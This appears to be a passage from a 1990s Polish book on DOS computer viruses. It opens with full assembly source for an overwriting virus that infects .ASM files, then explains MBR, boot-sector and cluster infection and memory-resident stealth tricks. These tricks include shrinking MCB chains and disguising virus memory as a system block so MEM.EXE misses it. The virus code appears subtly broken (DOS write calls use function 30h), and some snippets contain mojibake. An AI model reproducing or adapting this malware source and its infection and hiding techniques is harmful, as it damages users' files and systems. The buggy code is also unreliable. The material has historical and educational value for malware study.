; ASMODEUS v1.0, Autor : Adam Blaszczyk 1997 ;

; ;

; Prosty wirus nierezydentny, nadpisujacy, atakujacy pliki ASM ;

; Infekuje pliki z atrybutem Archive, ReadOnly, System, Hidden ;

; ;

; Kompilacja : ;

; TASM ASMODEUS.ASM ;

; TLINK /t ASMODEUS.OBJ ;

; ;

;----------------------------------------------------------------------------;

.286p

ASMODEUS SEGMENT

JUMPS

ASSUME CS:ASMODEUS, DS:ASMODEUS


ORG 100h


NUL = 00h ; \

LF = 0Ah ; \ stale znakow

CR = 0Dh ; / ASCII

DOLAR = '$' ; /


AtrReadOnly = 00000001b ; \

AtrHidden = 00000010b ; \

AtrSystem = 00000100b ; \ rozne stale atrybutow

AtrVolumeID = 00001000b ; / pozycji katalogu

AtrDirectory = 00010000b ; /

AtrArchive = 00100000b ; /


Atrybut = AtrArchive + AtrReadOnly + AtrSystem + AtrHidden + AtrVolumeID

; atrybut poszukiwanej pozycji

; katalogu


VirusDlug = offset (VirusEnd-VirusStart)

; dlugosc kodu wirusa

ASMNaglowek_Rozmiar = offset (ASMNaglowek_Koniec-ASMNaglowek_Start)

; dlugosc dyrekty z poczatku

; pliku ASM (ASSUME, ORG, itd.)

ASMKoncowka_Rozmiar = offset (ASMKoncowka_Koniec-ASMKoncowka_Start)

; dlugosc dyrekty z konca

; pliku ASM (ENDS, END)


VRok = 1998 ; \ data opisujaca

VMiesiac = 13 ; - pliki juz zainfekowane

VDzien = 31 ; /


VZnacznik = (VRok-1980)*512+VMiesiac*32+VDzien


DTAStruc struc ; struktura DTA bufora transmisji

; dyskowych uzywanych przez

; funkcje 4E i 4F

DTAFill db 21 dup (?) ; nieistotna czesc

DTAAttr db ? ; atrybut znalezionej pozycji

DTATime dw ? ; czas znalezionej pozycji

DTADate dw ? ; data znalezionej pozycji

DTASize dd ? ; dlugosc znalezionej pozycji

DTAName db 13 (?) ; nazwa znalezionej pozycji

DTAStruc ends


NoweDTA equ 80h


VirusStart: ; tu zaczyna sie kod wirusa


lea dx,TeInformacja ; podaj, gdzie jest tekst

Call Informacja ; spytaj o uruchomienie wirusa


jnc Infekcja ; CF=1 oznacza nie uruchamiaj

jmp BezInfekcji ; NIE - nie infekuj


Infekcja:


lea dx,MaskaASM ; maska poszukiwanych plikow '*.ASM'

mov cx,Atrybut ; podaj atrybut poszukiwanej pozycji

mov ah,4Eh ; funkcja DOS - szukaj pierwszej

; pozycji katalogu

int 21h ; wywolaj funkcje DOS

jc BezInfekcji ; gdy CF=1, to blad



KolejnyPlik:

cmp ds:[NoweDTA.DTADate],VZnacznik ; czy znaleziony plik jest juz

; zarazony ?

je SzukajNastepnyPlik ; tak = szukaj nastepnego


mov cx,AtrArchive ; podaj nowy atrybut : Archive

lea dx,ds:[NoweDTA.DTAName] ; podaj nazwe pliku do zmiany

mov ax,4301h ; funkcja DOS - zmien atrybut

int 21h ; wywolaj funkcje DOS

jc PrzywrocAtrybut ; gdy CF=1, to blad



lea dx,ds:[NoweDTA.DTAName] ; podaj nazwe pliku do odczytu

mov ax,3d02h ; funkcja DOS - otworz plik

; do odczytu i zapisu

int 21h ; wywolaj funkcje DOS

jc PrzywrocAtrybut ; gdy CF=1, to blad


xchg ax,bx ; przenies uchwyt pliku do BX


mov cx,ASMNaglowek_Rozmiar ; ile zapisac

lea dx,ASMNaglowek_Start ; skad pobrac dane

mov ah,40h ; funkcja DOS - zapisz do pliku

int 21h ; wywolaj funkcje DOS

jc ZamknijPlik ; gdy CF=1, to blad


cld ; operacje na lancuchach do przodu


push bx ; zachowaj uchwyt pliku


lea di,Bufor ; gdzie zapisywac wynik

lea bx,Hex ; gdzie znajduje sie tablica

; translacji na znaki heksalne

lea si,VirusStart ; gdzie zaczyna sie kod

mov cx,VirusDlug ; ilosc bajtow do konwersji


RobHex:

mov ax,'BD' ; \

stosw ; \ zapisz sekwencje

mov ax,'0 ' ; / 'db 0'

stosw ; /


lodsb ; pobierz bajt kodu

mov ah,al ; zapamietaj na pozniej


shr al,4 ; pobierz 4 gorne bity bajtu kodu

xlatb ; wez odpowiadajcy mu znak

stosb ; heksalny i zapisz go


mov al,ah ; wez zapamietany bajt kodu

and al,15 ; pobierz 4 dolne bity bajtu kodu

xlatb ; wez odpowiadajcy mu znak

stosb ; heksalny i zapisz go

; teraz bufor= 'db 0??'

mov al,'h' ; zapisz 'h' w buforze

stosb

; teraz bufor='db 0??h'

mov ax,0A0Dh ; zapisz znaki CR,LF

stosw

; teraz bufor='db 0??h',CR,LF

loop RobHex ; przetwarzaj caly kod programu


pop bx ; przwyroc uchwyt pliku


sub di,offset Bufor ; oblicz, ile bajtow zajmuje bufor

mov cx,di ; ile bajtow zapisac

lea dx,Bufor ; podaj, skad zapisac wirusa

; jako ciag DB ?,?, ... ?,?,?

mov ah,30h ; funkcja DOS - zapisz do pliku

int 21h ; wywolaj funkcje DOS

jc ZamknijPlik ; gdy CF=1, to blad


mov cx,ASMKoncowka_Rozmiar ; ile zapisac

lea dx,ASMKoncowka_Start ; skad pobrac dane

mov ah,30h ; funkcja DOS - zapisz do pliku

int 21h ; wywolaj funkcje DOS

jc ZamknijPlik ; gdy CF=1, to blad


mov cx,ds:[NoweDTA.DTATime] ; przywroc czas z bufora DTA

mov dx,VZnacznik ; zaznacz infekcje pliku

mov ax,5701h ; funkcja DOS - wpisz date, czas

int 21h ; wywolaj funkcje DOS


ZamknijPlik:

mov ah,3Eh ; funkcja DOS - zamknij plik

int 21h ; wywolaj funkcje DOS



SzukajNastepnyPlik: ; poprzedni plik byl zarazony

mov ah,4Fh ; funkcja DOS - szukaj innego

; plik ASM

int 21h ; wywolaj funkcje DOS

jnc KolejnyPlik ; gdy CF=1, to blad



PrzywrocAtrybut:

mov cl,ds:[NoweDTA.DTAAttr] ; podaj stary atrybut, CH=0

lea dx,ds:[NoweDTA.DTAName] ; podaj nazwe pliku do zmiany

mov ax,4301h ; funkcja DOS - zmien atrybut

int 21h


BezInfekcji:

ret ; koncz program, skocz do PSP:100h

; do rozkazu Int 20h


MaskaASM db '*.ASM' ; maska plikow ASM (ASCIIZ)


ASMNaglowek_Start:

db 'V SEGMENT',CR,LF

db 'ORG 100h',CR,LF

db 'Start:',CR,LF

ASMNaglowek_Koniec:

ASMKoncowka_Start:

db 'V ENDS',CR,LF

db 'END Start',CR,LF

ASMKoncowka_Koniec:

Hex db '0123456789ABCDEF'


; Czesc Informayjna

Informacja:

mov ah,09h ; funkcja DOS - wyswietl tekst$

int 21h ; wywolaj funkcje DOS


mov ah,01h ; funkcja DOS - czytaj znak

; ze standardowego wejscia

int 21h ; wywolaj funkcje DOS

; AL zawiera znak

push ax ; zapamietaj na chwile znak


mov ax,0E0Dh ; \ przejdz

int 10h ; \ do

mov ax,0E0Ah ; / nastepnej

int 10h ; / linii


pop ax ; przywroc znak


and al,11011111b ; konwertuj znak na wielka litere

cmp al,'T' ; czy potwierdzona infekcja

clc ; ustaw flage na TAK

je CLCRet ; TAK i powrot

stc ; ustaw flage na NIE i powrot

CLCRet:

ret ; powrot


TeInformacja db CR,LF,'ASMODEUS v1.0, Autor : Adam Blaszczyk 1997'

db CR,LF

db CR,LF,'Czy chcesz uruchomic wirusa (T/N) ?'

db DOLAR


VirusEnd:

Bufor db 32768 dup (?)


ASMODEUS ENDS

END VirusStart


4.2. Sektory systemowe

Po uruchomieniu komputera oraz po pozytywnym przejściu sprzętowej inicjalizacji wszystkich układów, procesor przystępuje do uruchamiania systemu, oddając najpierw sterowanie do BIOS-a, który po przeprowadzeniu różnych testów przekazuje kontrolę dalej, tzn. do systemu operacyjnego. Aby to zrobić, musi wczytać go z pliku zawierającego jądro systemu. Ze względu na to, iż narzucona przez systemy operacyjne struktura plików (różna dla różnych systemów) jest dostępna dopiero po załadowaniu odpowiedzialnego za dostęp do niej jądra systemu (także różnego dla różnych systemów), powstaje błędne koło: aby załadować plik z jądrem systemu, ono samo musi już być załadowane. Jasne jest, iż musi istnieć jakaś uniwersalna metoda na załadowanie dowolnego systemu (a więc i jądra systemu). Problem ten rozwiązano poprzez nadanie specjalnego znaczenia pierwszym sektorom dysków fizycznych i logicznych. Sektory te zawierają krótkie programy, odpowiedzialne za załadowanie właściwej części jądra systemu. W przypadku dysku fizycznego mamy do czynienia z tzw. Głównym Rekordem Ładującym, a w przypadku logicznych - z tzw. BOOT-sektorem. Dokładniejszy ich opis znajduje się dalej.


4.2.1. Główny Rekord Ładujący (ang. Master Boot Record-MBR)

Każdy dysk twardy zawiera w swym pierwszym fizycznym (tzn. z punktu widzenia dostępu przez BIOS) sektorze tzw. Główny Rekord Ładujący (często nazywany sektorem tablicy partycji), zawierający informacje o podziale jego fizycznej struktury na logiczne party-cje (strefy). Oprócz powyższych informacji rekord ten zawiera także krótki programik, mający na celu odnalezienie w tablicy partycji aktywnej strefy i załadowanie z niej systemu operacyjnego. Format głównego rekordu ładującego, opis zawartości tablicy partycji oraz rodzaje stref zawarte są w poniższych tablicach.

Format głównego rekordu ładującego (MBR)

Adres

Zawartość

000

Program wczytujący system z aktywnej partycji dysku twardego

1BE

Opis strefy nr 1

1CE

Opis strefy nr 2

1DE

Opis strefy nr 3

1EE

Opis strefy nr 4

1FE

Bajty 055h i 0AAh


Opis jednej strefy w tablicy partycji

Adres

Zawartość

00

Znacznik aktywności strefy: 00h - strefa nie zawiera systemu operacyjnego 80h - strefa zawiera system operacyjny

01

Numer głowicy, pod którą zaczyna się strefa

02-03

Numer cylindra i sektora, pod którymi zaczyna się strefa, zapisane następująco (litery odpowiadają kolejnym bitom):

bajt spod adresu 02h: CCssssss bajt spod adresu 03h: cccccccc ssssss = numer sektora (0-63) CCcccccccc = numer cylindra (0-1023)

04

Rodzaj strefy (wg następnej tablicy)

05

Numer głowicy, pod którą kończy się strefa

06-07

Numer cylindra i sektora, pod którymi kończy się strefa, zapisane tak samo jak w polu 02h-03h

08-0B

Względny numer sektora rozpoczynającego strefę

0C-0F

Długość strefy w sektorach


Rodzaje stref wg bajtu z pola 04h w opisie strefy

Bajt Rodzaj strefy

00h pusta

01h DOS 12-bit FAT

02h XENIX

03h XENIX /usr

04h DOSl6-bitFAT(do32M)

05h DOS 3.3+ rozszerzona partycja

06h DOS 3.31 + Large File System (16-bit FAT)

07h QNX

07h OS/2 HPFS

07h Windows NT NTFS

07h Advanced Unix

08h OS/2 (tylko v1.0-1.3)

08h AIX

08h Commodore DOS

08h DELL

09h AIX

09h Coherent

0Ah OS/2 Boot Manager

0Ah OPUS

0Ah Coherent

0Bh Windows 95 - 32-bit FAT

0Ch Windows 95 - 32-bit FAT (LBA)

0Eh zarezerwowane przez Microsoft dla VFAT

0Fh zarezerwowane przez Microsoft dla VFAT

10h OPUS

11h OS/2 Boot Manager 12-bit FAT

12h partycja Compaq Diagnostics

14h tworzy ją Noyell DOS 7.0 FDISK

14h OS/2 Boot Manager

16h OS/2 Boot Manager

17h OS/2 Boot Manager HPFS

18h AST Windows plik wymiany

21h zarezerwowana

23h zarezerwowana

24h NEC MS-DOS 3.x

26h zarezerwowana

31h zarezerwowana

33h zarezerwowana

34h zarezerwowana

36h zarezerwowana

3Ch PowerQuest

40h VENIX 80286

41h Persona! RISC Boot

42h SFS (Secure File System)

50h OnTrack Disk Manager

51h OnTrack Disk Manager

51h NOYELL

52h CP/M

52h Microport System V/386

53h OnTrack Disk Manager

54h OnTrack Disk Manager (DDO)

56h GoldenBow VFeature

61h SpeedStor

63h Unix SysV/386

63h Mach

64h Novell NelWare 286

65h NovetlNetWare(3.11)

67h Novell

68h Novell

69h Novell _

70h DiskSecure Multi-Boot

71h zarezerwowana

73h zarezerwowana

74h zarezerwowana

75h PC/lX

76h zarezerwowana

80h Minixv1,1 - 1.4a

81h Minixv1.4b+

81h Linux

81h Mitac Advanced Disk Manager

82h Linux Swap

82h Prime

83h Linux native file system

84h OS/2

86h zarezerwowana

87h HPFS Fault-Tolerant

93h Amoeba file system

94h Amoeba bad błock table

A1h zarezerwowana

A3h zarezerwowana

A4h zarezerwowana

A5h FreeBSD

A6h zarezerwowana

B1h zarezerwowana

B3h zarezerwowana

B4h zarezerwowana

B6h zarezerwowana

B7h BSDI file system

B8h BSDI plik wymiany

C1h DR DOS 6.0 LOGIN.EXE 12-bit FAT

C4h DR DOS 6.0 LOGIN.EXE 16-bit FAT

C6h DR DOS 6.0 LOGlN.EXE Huge

C7h Syrinx Boot

D8h CP/M-86

DBh CP/M

DBh CTOS (ConvergentTechnologies OS)

E1h SpeedStor 12-bit FAT rozszerzona partycja

E3h DOS tylko do czytania

E3h Storage Dimensions

E4h SpeedStor 16-bit FAT rozszerzona partycja

E5h zarezerwowana

E6h zarezerwowana

F1h Storage Dimensions

F2h DOS 3.3+

F3h zarezerwowana

F4h SpeedStor

F4h Storage Dimensions

F6h zarezerwowana

FEh LANstep

FEh IBM PS/2 IML

FFh Xenix


Po wykonaniu wszystkich autotestów BIOS wczytuje MBR zawsze pod ten sam, stały adres 0000:7C00 i wykonuje do tego miejsca daleki skok, przekazując tym samym sterowanie do programu ładującego, który odszukuje strefę aktywną w tablicy partycji. Znalezienie strefy aktywnej polega na przeszukaniu tablicy partycji i sprawdzeniu, czy w polu 00h opisu badanej strefy znajduje się wartość 80h, co jest znakiem, iż jest to strefa aktywna i można z niej załadować system operacyjny.

Działanie wirusów zarażających MBR polega na podmianie oryginalnego programu w niej zawartego na kod wirusa. Oryginalna tablica partycji może być przechowywana w innym sektorze na dysku. Najprościej Jest wczytać oryginalny sektor przy pomocy funkcji (02/13), dokonać zmian w jego strukturze i zapisać zmodyfikowany sektor z powrotem na dysk przy użyciu funkcji (03/13).

Po zarażeniu MBR wirus jest nieaktywny do czasu zresetowania komputera. Po restarcie zainfekowana partycja jest wczytywana przez BIOS pod adres 0000:7C00 i sterowanie jest oddawane do wirusa, który zmniejsza pamięć dostępną dla DOS-a (poprzez modyfikację zmiennej BIOS, zawartej pod adresem 0000:413), a następnie kopiuje się na koniec pamięci, która jest już niedostępna dla DOS-a. Stamtąd przejmuje obsługę przerwań i po wczytaniu oryginalnego sektora tablicy partycji (także pod adres 0000:7COO) oddaje do niej sterowanie, a tam oryginalny program ładujący kontynuuje normalne wczytywanie systemu.


4.3. Rekord ładujący (ang. BOOT-sector)

Program ładujący, zawarty w MBR, wczytuje system ze strefy aktywnej, dokładniej: wczytuje pierwszy sektor (tzw. BOOT-sektor) ze strefy aktywnej pod adres 0000:7COO (a więc pod ten sam co w przypadku MBR), oddaje do niego sterowanie i dopiero program zawarty w BOOT-sektorze ładuje plik zawierający jądro systemu (w przypadku systemu DOS - najczęściej IO.SYS).

Powyższa operacja jest wykonywana tylko dla dysku twardego. W przypadku dyskietek BIOS bezpośrednio ładuje BOOT-sektor z dyskietki i oddaje do niego sterowanie. Jak widać, BIOS nie rozróżnia, czy wczytywany sektor jest MBR czy BOOT-sektorem, a jedynie odczytuje pierwszy sektor z dysku lub dyskietki i oddaje do niego sterowanie.

Przy pierwszym dostępie do dysku system kopiuje do swych struktur wewnętrznych część informacji zawartych w BOOT-sektorze. Informacje te są zawarte w tzw. bloku BPB, zawartym w BOOT-sektorze od adresu 0Bh do 23h.

Zawartość BOOT-sektora przedstawiono w poniższej tabeli.

Zawartość BOOT-sektora

Adres

Zawartość

00-02

Instrukcja skoku do programu ładującego system, najczęściej (OEBh ?? 90h). czyli JMP SHORT

03-0A

Nazwa wersji systemu (jako łańcuch ASCII)

Początek bloku BPB

+

0B-0C

Wielkość sektora w bajtach

0E-0F

Liczba sektorów zarezerwowanych na początku dysku

10

Liczba kopii FAT

11-12

Maksymalna liczba plików w katalogu głównym

13-14

Całkowita liczba sektorów na dysku logicznym (nie używane)

15

Bajt identyfikacji nośnika

16-17

Liczba sektorów zajętych przez FAT

18-19

Liczba sektorów na ścieżce

1A-1B

Liczba głowic dysku

1C-1D


Koniec bloku BPB


24

Numer fizyczny dysku

25

Zarezerwowane

26

Rozszerzony znacznik BOOT-sektora

27-2A

Numer woluminu

2B-35

Etykieta dysku

36-3D

Typ FAT zapisany jako łańcuch ASCII

??-1FF

Program wczytujący system


Nietrudno domyślić się, iż infekcja BOOT-sektora polegać będzie na zamianie oryginalnego programu w nim zawartego na kod wirusa, tak jak miało to miejsce w przypadku sektora tablicy partycji. Zamiast przerwania 13h przy infekcji BOOT-sektora łatwiej użyć przerwań 25h i 26h, gdyż biorą one na siebie ciężar wszystkich obliczeń związanych z translacją sektorów logicznych na fizyczne.


4.4. Jednostki Alokacji Plików (JAP) (ang. clusters)

Pierwszym wirusem, który zarażał JAP, był wirus DIR-2. Ze względu na pewne ograniczenia zarażał tylko w wersjach DOS mniejszych od 5.0. Aby zrozumieć zasadę jego działania, trzeba przede wszystkim wiedzieć, w jaki sposób system DOS zapisuje pliki na dysku. Każdy dysk logiczny widoczny w systemie posiada tzw. tablicę FAT (ang. File Alocation Tobie), która dzieli dysk na równe części, zwane Jednostkami Alokacji Plików JAP). Wielkość JAP jest różna dla różnych pojemności dysków. Informacja o ilości sektorów zajmowanych przez jedną JAP zawarta jest w BOOT-sektorze, w polu 0Dh. Każdy plik zapisywany na dysku ma do dyspozycji odpowiednią, wynikającą z jego długości, liczbę jednostek alokacji. Liczba ta równa jest długości pliku podzielonej przez rozmiar jednej JAP. Obliczoną liczbę należy zaokrąglić w górę (aby uwzględnić końcówkę pliku, która nie mieści się w pełnej JAP). Jak widać, pliki zapisane na dysku wcale nie muszą być zapisane sekwencyjnie, tzn. różne fragmenty pliku mogą być porozrzucane po całym dysku. Także widziana przez użytkownika długość pliku tylko czasami zgadza się z prawdziwą długością zajmowaną przez plik na dysku (gdy długość pliku jest wielokrotnością długości JAP). Wczytując plik DOS odczytuje z odpowiedniego pola katalogu numer pierwszej JAP i na jej podstawie, w miarę kolejnych odczytów/zapisów do pliku, porusza się po łańcuchu JAP, korzystając z danych zawartych w tablicy FAT.

Wirus infekujący przy użyciu JAP zmienia w polu katalogu rozmiar danego pliku (najczęściej na rozmiar jednej JAP) oraz wartość pierwszej JAP pliku, która wskazując na wirusa umożliwia jego wczytanie niejako przed kod programu ładowanego z dysku i w efekcie przejęcie kontroli nad systemem. Zainstalowany w pamięci wirus ma następnie możliwość wczytania dalszej części programu na podsta

wie przechowywanej oryginalnej wartości pierwszej JAP oraz długości pliku. W celu zapewnienia poprawnego wczytania reszty pliku wirus musi dotrzeć do wewnętrznych procedur systemu operacyjnego, przeznaczonych do obsługi dysków. Najczęściej realizuje się to poprzez odpowiednią zamianę adresu procedury obsługującej dysk, zawartej w tzw. blokach DPB (ang. Drive Parameter Block), strukturach tworzonych przez system operacyjny podczas jego inicjacji dla wszystkich istniejących w systemie dysków logicznych. Struktura DPB zawiera wszystkie informacje potrzebne do obsługi dysku logicznego przez system (część danych znajduje się w bloku BPB dysku, zawartego w BOOT-sektorze).

Pełny opis bloku DPB zawarto w poniższej tabeli.

Format bloku DPB

Adres

Zawartość

00

Numer dysku A:=0, B:=1, C:=2

01

Numer jednostki w programie obsługi

02-03

Wielkość sektora w bajtach

05

log2 (liczba sektorów w JAP)

06

Liczba zarezerwowanych sektorów na początku dysku

08

Ilość kopii tablicy FAT (najczęściej 2)

09-0A

Maksymalna ilość plików w katalogu głównym

0B-0C

Pierwszy sektor danych

0F-10

Liczba sektorów na FAT

11-12

Numer pierwszego sektora katalogu

13-16

Daleki wskaźnik do programu obsługi dysku

17

Bajt identyfikacji nośnika

18

Znacznik dostępu do dysku

19-1C

Daleki wskaźnik do następnego bloku DPB

1D-1E

Numer pierwszej wolnej JAP na dysku

1F-20

Liczba wolnych JAP na dysku


Adres pierwszego bloku DPB uzyskiwany jest najczęściej przy użyciu funkcji (52/21). Na podstawie danych w pierwszym DPB można przejść (poruszając się po liście) do kolejnych bloków DPB. Realizuje to poniższa sekwencja:

Przeszukiwanie łańcucha DPB

mov AH,52h ; funkcja DOS - pobierz adres do listy list (LL)

INT 21h ; wywo│aj DOS po wywo│aniu ES:BX zawiera adres do LL, w

; kom¾rkach od ES:[BX] do ES:[BX+3] znajduje

; siÛ daleki wskaƒnik do pierwszego DPB

LES BX,ES:[BX] ; ES:BX wskazuje na pierwszy DPB

NastÛpnyDPB: ; pocz╣tek pÛtli

LDS SI, ES:[BX+13h] ; DS:SI wskazuje teraz na program obs│ugi LES BX,ES:[BX+19h] ; ES:BX wskazuje teraz na nastÛpny bloku DPB, je┐eli jest

; to ostatni blok, to ES i BX zawieraj╣ OFFFFh,

MOV AX,ES ; weƒ segment

CMP AX,0FFFFh ; czy ES=OFFFFh ?

JNZ NastÛpnyDPB ; je£li nie, to jest jeszcze kolejny DPB

CMP BX,AX ; czy BX=OFFFFh?

JNZ NastÛpnyDPB ; je£li nie, to jest jeszcze kolejny DPB


4.5. Wirusy kombinowane (ang: multipartition)

Tego typu wirusy są wirusami zawierającymi mechanizmy infekcji różnych obiektów.

W przypadku, gdy wirus zaraża pliki uruchamialne (EXE, COM), a także sektor tablicy partycji oraz ewentualnie BOOT-sektory i inne pliki, nazywa się go wirusem typu multipartition. Ze względu na szeroką gamę zarażanych przez siebie ofiar, wirusy tego typu bardzo szybko rozprzestrzeniają się w systemie komputerowym.

Pamięć przydzielana programom przez system DOS jest zwalniana zaraz po ich zakończeniu, stąd też wirus rezydentny, chcąc przejmować przerwania, musi wygospodarować sobie jakiś fragment w pamięci, do którego może się skopiować, aby nie zostać zamazanym przez kod innego programu, wczytywanego do zwolnionych przez system obszarów pamięci.

Do instalacji można wykorzystać dowolny fragment pamięci, który na pewno nie zostanie wykorzystany i zamazany przez żaden inny program (co skończyłoby się prędzej czy później zawieszeniem komputera, gdyż zostałaby zamazana procedura obsługi przejętego przerwania).


ROZDZIAŁ 5


5.1. Instalacja w tablicy wektorów przerwań

W komputerze IBM na użytek przerwań przeznaczono 256*4=1024 bajtów znajdujących się na początku pamięci operacyjnej od adresu 0000:0000 do adresu 0000:0400 (tak sprawa ma się oczywiście w trybie rzeczywistym i V86 procesorów 80x86). Mimo to większość programów wykorzystuje tylko przerwania poniżej numeru 80h, tak więc w obszarze 0000:0200-0000:0400 pojawia się 512-bajtowa luka, w której można umieścić kod wirusa. Najczęściej obszar ten jest wykorzystywany przez wirusy bardzo krótkie, potrzebujące do swych celów małego obszaru pamięci operacyjnej,


5.2. Instalacja w obszarze zmiennych DOS

W obszarze pamięci od adresu 0000:0600 do adresu 0000:0700 znajduje się obszar wykorzystywany przy starcie systemu. Po załadowaniu obszar ten zawiera nieistotne dane systemu (w zasadzie nie używane), dzięki czemu jest to kolejna luka w pamięci systemu, w której można umieścić krótkiego (maksymalnie 256-bajtowego) wirusa.


5.3. Instalacja w pamięci poniżej 640kB i UMB

Zarządzając pamięcią operacyjną system DOS dzieli ją na połączone w łańcuch bloki, z których każdy rozpoczyna się tzw. nagłówkiem MCB (ang. Memory Control Błock). Każdy nagłówek zajmuje 16 bajtów i jest ulokowany zawsze na granicy paragrafu (16 bajtów), a zarządzany przezeń blok pamięci zaczyna się bezpośrednio po nim, także od granicy paragrafu.

Powyższy mechanizm stosowany jest zarówno dla pamięci niskiej (poniżej 640kB - LMB; ang. Low Memory Blocks), jak i dla pamięci wysokiej (powyżej 640kB - UMB; ang. Upper Memory Blocks). Format bloku MCB pokazano w poniższej tabeli.

Format MCB

Adres

Zawartość

00

Znacznik bloku; znak 'M' oznacza, iż jest to blok pośredni, zaś Z oznacza ostatni blok w łańcuchu

01-02

Adres (tylko segment; przesunięcie równe jest zeru) bloku PSP, będącego właścicielem MCB. Jeżeli w pole to wpiszemy wartość 0008, a więc segment niedostępny dla programów, segment zniknie z pamięci operacyjnej i będzie niewidoczny dla programów przeglądających pamięć (dokładniej: będzie widoczny, ale będzie traktowany jako integralna część systemu)

03-04

Rozmiar bloku w 16-bajtowych paragrafach

05-07

Zarezerwowane dla systemu

08-0F

8-bajtowe pole, wykorzystywane dopiero w wersjach 5.0 DOS i wyższych. Zawiera ono początek nazwy pliku właściciela bloku MCB. Jeżeli wpiszemy w to pole 'SC' lub 'SD', to blok ten zostanie uznany za blok systemowy ('SC' to skrót od System Code. a SD od System Data)


Najstarsza i najbardziej rozpowszechniona metoda instalacji w pamięci operacyjnej polega na modyfikacji łańcucha bloków MCB. Najprościej jest znaleźć ostatni z bloków MCB i zmniejszyć jego rozmiar o długość potrzebną wirusowi. Adres pierwszego bloku MCB można znaleźć za pomocą funkcji (52/21). Po jej wywołaniu w rejestrach ES:BX znajdzie się adres tzw. listy list (LL). W komórce pod adresem ES:[BX-2] znajduje się informacja o adresie pierwszego nagłówka MCB. Po zdobyciu tego adresu należy, poruszając się po łańcuchu, znaleźć ostami z MCB i dokonać w nim zmian. Całość realizuje się za pomocą następującej sekwencji:

; Poszukiwanie ostatniego bloku w │a±cuchu mcb

MOV AH,52H ; funkcja DOS - weƒ adres do listy

; list (ll)

INT 21H ; wywo│aj funkcjÛ

MOV AX,ES:[BX-2] ; AX=adres segmentowy pierwszego MCB

NAST╩PNY:

MOV DS,AX ; ds wskazuje na sprawdzany blok MCB

CMP BYTE PTR DS:[0], Z ; czy ostatni blok ?

JE OSTATNI ; skocz, je£li tak

INC AX ; dodaj rozmiar MCB (16 bajt¾w=1 paragraf)

ADD AX, DS:[3] ; dodaj d│ugo£µ bloku zarz╣dzanego przez MCB

JMP SHORT NASTEPNY ; sprawdƒ nastÛpny blok

OSTATNI: ; ds wskazuje na ostatni blok

SUB DS:[3], ROZMIAR ; odejmij rozmiar wirusa (w paragrafach 16 bajtowych)

SUB DS:[12h], ROZMIAR ; warto tak┐e zmieniµ adres pamiÛci niedostÛpnej dla

;programu w PSP bie┐╣cego procesu


Do instalacji można wykorzystać także blok pamięci, który powstaje poprzez zmniejszenie bloku pamięci przydzielonego programowi. Dokonuje tego następująca sekwencja:

; Zmniejszenie bloku przydzielonego aktualnemu procesowi

MOV AH,62h ; funkcja DOS - weƒ adres PSP aktualnego procesu

INT 21h ; uruchom funkcjÛ DOS, BX zawiera adres PSP

DEC BX ; BX-1 zawiera adres MCB, bÛd╣cego w│a£cicielem bloku MOV DS,BX ; DS wskazuje na MCB

SUB DS:[3], ROZMIAR ; odejmij rozmiar wirusa (w paragrafach 16 bajtowych) SUB DS:[12h], ROZMIAR ; warto tak┐e zmieniµ adres pamiÛci niedostÛpnej dla

; programu w PSP bie┐╣cego procesu


Inny sposób polega na przydzieleniu sobie przez wirusa bloku pamięci przy użyciu (48/21) i modyfikacji MCB, będącego właścicielem przydzielonego bloku. Modyfikacja polega na wpisaniu w pole 01h-02h bloku MCB wartości 0008h, która oznacza, iż blok ten należy do systemu operacyjnego DOS. Zamiast wartości 0008h można wpisać dowolną wartość, która wskazuje na segment zawierający na pewno dane systemowe, na przykład liczbę z zakresu 0A000h-0B000h, wskazującą na segmenty zawierające pamięć ekranu. Dodatkowo w pole 08h-0Fh można wpisać łańcuch 'SC lub 'SD' [odpowiadające skrótom: kod systemu (ang. System Code) i dane systemu (ang. System Data)]. Tak zmodyfikowany blok MCB nie będzie widziany przez programy przeglądające pamięć (np. MEM.EXE). Powyższą metodę ilustruje następująca sekwencja:

; Tworzenie sztucznego bloku systemowego

MOV BX,ROZMIAR ; BX = rozmiar ┐╣danej pamiÛci

MOV AH,48h ; funkcja DOS - przydziel pamiÛµ

INT 21h ; wywo│aj funkcjÛ DOS

JC BLAD ; Je£li CF=1 to b│╣d, AX=segment pamiÛci

DEC AX ; AX-1=segment z nag│¾wkiem MCB (w│a£cicielem

; bloku amiÛci)

MOV DS,AX ; DS = segment MCB

MOV DS:[l],0008h ; zmie± MCB na systemowy


Kolejny sposób instalacji w pamięci polega na wykorzystaniu faktu, iż DOS oferuje programom możliwość zmieniania rozmiaru bloku pamięci przy użyciu (4A/21). Dzięki temu można powiększyć pewien blok wykorzystywany przez system lub programy rezydentne i w tak wygospodarowane miejsce skopiować wirusa. Nie trzeba w tym wypadku dokonywać żadnych ręcznych manipulacji na blokach MCB, gdyż wszystkie operacje wykona za nas system operacyjny. Należy pamiętać, iż aby DOS mógł powiększyć blok pamięci, blok ten musi sąsiadować z jakimś nie wykorzystanym przez żaden program fragmentem pamięci. Znaleziony blok najlepiej zabezpieczyć przed ewentualnym zwolnieniem, np. przez wpisanie w pole 03-04h wartości 0008h. Sekwencja realizująca to zadanie wygląda następująco:

; PowiÛkszenie jednego z blok¾w ju┐ u┐ytych

MOV AH,52H ; funkcja DOS - weƒ adres do listy list (LL)

INT 21H ; wywo│aj funkcjÛ DOS

MOV DX,ES:[BX-2] ; AX==adres segmentowy pierwszego MCB

NAST╩PNY:

mov es,dx ; DS wskazuje na sprawdzany blok mcb

mov cl, byte PTR ES:[O] ; zachowaj znacznik nag│¾wka MCB

MOV BX,ES:[3] ; pobierz rozmiar bloku

INC DX ; DOS wymaga adresu o l wiÛkszego od MCB

MOV ES,DX ; ES wskazuje na blok pamiÛci

ADD DX,BX ; dodaj d│ugo£µ bloku zarz╣dzanego przez MCB

ADD bx, rozmiar ; dodaj rozmiar wirusa (w paragrafach 16-bajtowych)

MOV AH,4Ah ; spr¾buj zmieniµ rozmiar bloku

INT 21h ; wywo│aj funkcjÛ DOS

JNC JESTBLOK ; je£li CFl, uda│o siÛ zmieniµ blok

CMP CL, Z ; czy ostatni blok ?

JNE NASTEPNY ; sprawdƒ nastÛpny blok

OSTATNI: ; nie uda│o siÛ powiÛkszyµ ┐adnego bloku

...... ; czÛ£µ kodu wirusa, wykonuj╣ca

; siÛ, gdy nie znaleziono bloku

JESTBLOK:

...... ; uda│o siÛ powiÛkszyµ blok, adres do niego jest w ES


